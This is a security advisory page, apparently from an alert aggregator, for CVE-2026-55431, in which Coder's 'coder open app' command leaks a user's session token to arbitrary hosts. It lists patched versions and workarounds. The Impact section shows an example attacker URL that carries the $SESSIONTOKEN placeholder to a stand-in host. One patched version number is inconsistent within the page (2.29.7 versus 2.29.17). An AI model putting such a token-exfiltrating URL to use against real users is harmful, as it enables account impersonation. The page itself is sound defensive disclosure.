CVE-2026-55431: Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Published Jul 6, 2026
·
Updated

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSIONTOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSIONTOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSIONTOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

- Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Other sources

Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSIONTOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits $SESSIONTOKEN substitution to trusted destinations like the web frontend. As a workaround, avoid running coder open app for untrusted workspaces.

MITRE

Affected Software

8 affected componentsFixes available
go/github.com/coder/coder/v2<2.29.17
2.29.17
go/github.com/coder/coder/v2>=2.30.0<2.32.7
2.32.7
go/github.com/coder/coder/v2>=2.33.0<2.33.8
2.33.8
go/github.com/coder/coder/v2>=2.34.0<2.34.2
2.34.2
Coder Coder Go<2.29.17
Coder Coder Go>=2.30.0<2.32.7
Coder Coder Go>=2.33.0<2.33.8
Coder Coder Go>=2.34.0<2.34.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/coder/coder/v2 to a version that resolves this vulnerability.

    Fixed in 2.29.17
  2. Upgrade

    Upgrade go/github.com/coder/coder/v2 to a version that resolves this vulnerability.

    Fixed in 2.32.7
  3. Upgrade

    Upgrade go/github.com/coder/coder/v2 to a version that resolves this vulnerability.

    Fixed in 2.33.8
  4. Upgrade

    Upgrade go/github.com/coder/coder/v2 to a version that resolves this vulnerability.

    Fixed in 2.34.2
  5. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.29.17
  6. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.32.7
  7. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.33.8
  8. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.34.2
  9. Compensating control

    As a workaround, avoid running `coder open app` for untrusted workspaces.

Event History

Jul 6, 2026
Advisory Published
via GitHub·09:07 PM
Data Sourced
via GitHub·09:07 PM
DescriptionSeverityWeaknessAffected Software
Jul 8, 2026
CVE Published
via MITRE·12:10 AM
Data Sourced
via MITRE·12:10 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:16 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-55431?

CVE-2026-55431 has a severity rating of high at 7.7.

2

What risk does CVE-2026-55431 pose to users?

CVE-2026-55431 poses a risk of session token leakage to arbitrary hosts when using the 'coder open app' command.

3

How does CVE-2026-55431 exploit work?

CVE-2026-55431 exploits the lack of validation for external app URLs, allowing a user's session token to be leaked.

4

How can I mitigate the issue caused by CVE-2026-55431?

To mitigate CVE-2026-55431, avoid opening external workspace-app URLs that include a session token placeholder.

5

What software is affected by CVE-2026-55431?

CVE-2026-55431 affects the coding tools developed under go/github.com/coder/coder/v2.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203